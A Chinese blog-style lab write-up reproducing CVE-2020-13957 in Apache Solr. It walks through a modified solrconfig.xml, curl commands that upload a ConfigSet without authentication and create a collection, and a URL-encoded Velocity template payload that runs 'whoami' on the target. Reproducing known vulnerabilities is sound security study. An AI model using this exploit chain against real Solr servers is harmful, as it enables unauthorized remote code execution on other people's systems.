温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

Apche Solr 未授权上传漏洞CVE-2020-13957的复现

发布时间:2021-12-28 17:17:43 来源:亿速云 阅读:124 作者:柒染 栏目:网络管理

Apche Solr 未授权上传漏洞CVE-2020-13957的复现,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。

0x00 漏洞描述

在特定的Solr版本中ConfigSet API存在未授权上传漏洞,攻击者利用漏洞可实现远程代码执行。

整个利用链流程:
上传configset——基于configset再次上传configset(跳过身份检测)——利用新configset创造collection——利用solrVelocity模板进行RCE

影响范围

Apache Solr 6.6.0 -6.6.5
Apache Solr 7.0.0 -7.7.3
Apache Solr 8.0.0 -8.6.2

0x01 环境搭建

solr下载地址:http://archive.apache.org/dist/lucene/solr/(本次复现环境为8.0.0)

靶机:win10 IP地址:192.168.41.129
攻击机:kali IP地址:192.168.41.132

C:\复现\solr-8.0.0\bin>solr.cmd start –c

Apche Solr 未授权上传漏洞CVE-2020-13957的复现

0x02 漏洞复现

1、解压solr-8.0.0.zip并将解压后的文件切换到/solr-8.0.0/solr-8.0.0/server/solr/configsets/_default/conf目录,找到solrconfig.xml文件,并将velocity.params.resource.loader.enabled的false修改为true,即:
name="params.resource.loader.enabled">${velocity.params.resource.loader.enabled:true}

并将修改后的solr-8.0.0 放到kali中

Apche Solr 未授权上传漏洞CVE-2020-13957的复现

2、 然后在kali中server/solr/configsets/_default/conf/目录下打开终端,执行命令将conf目录下所有文件打包成一个压缩文件mytest.zip

zip -r - * > mytest.zip

Apche Solr 未授权上传漏洞CVE-2020-13957的复现

3、由于ConfigSet API存在未授权上传, 上传mytest.zip到win10

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @mytest.zip http://192.168.41.129:8983/solr/admin/configs?action=UPLOAD&name=mytest

根据CREATE得到的新configset创建恶意collection:

curl "http://192.168.41.129:8983/solr/admin/collections?action=CREATE&name=mytest2

&numShards=1&replicationFactor=1&wt=xml&collection.configName=mytest"

在kali的浏览器中输入地址,即可利用已上传的collection进行远程命令执行,这里执行的是whoami

http://192.168.41.129:8983/solr/mytest2/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

Apche Solr 未授权上传漏洞CVE-2020-13957的复现

看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注亿速云行业资讯频道,感谢您对亿速云的支持。

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI